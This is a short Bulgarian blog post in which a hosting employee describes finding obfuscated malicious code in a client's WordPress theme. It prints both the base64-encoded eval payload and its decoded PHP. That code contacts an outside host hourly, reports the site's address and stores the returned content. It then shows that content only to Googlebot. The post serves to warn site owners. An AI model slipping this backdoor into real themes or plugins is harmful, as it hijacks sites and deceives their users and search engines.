Скрити хакерски дупки в темите на wordpress

От дълго време не съм писал по моята любима тема, за сигурен код и сигурност на личните данни, днес реших да драсна няколко ред.

От няколко месеца работя в една от най големите хостинг компании в България и преди няколко дена, тук в офиса, попаднахме на много странен проблем.
Известен бългърски сайт разполага с нает сървър при нас и съответно има системна администрация. Проблема на дадения сайт беше в блога му. Тайм аутваше за около 30 секунди и след това зареждаше темата на WordPress. Първоначално решихме че се забавя от добавките за Facebook и Twitter, но в последствие се оказа че грешим.
След дълъг ден на четене на плъгини и темата която бе сложена на WordPress-а забелязах странен код:

eval(base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4='));

Зачудих се на кой ще му трябва да кодира цяла функция 🙂 След декодиране разбрахме че е точно от тук проблема.


function wp_get_footer_meta()
{
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))
$adwb_opt = unserialize($adwb_opt);
else{
$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){
$adwb_host = 'blogcell.net';
$adwb_get = '/wpam/';
$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc){
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc))
$adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
if(preg_match('/(.+?)/s',$adwb_data,$adwb_tmp)){
$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT']))echo $adwb_opt[1];
}
add_action("wp_footer", "wp_get_footer_meta");

Няма да коментирам кода, защото който поне малко разбира ще види какво е ставало в този известен български сайт 😉

Изводи: Не ползвайте готови теми на WordPress, или ако ги ползвате ги преглеждайте, защото освен вас пострадали ще са и потребителите ви.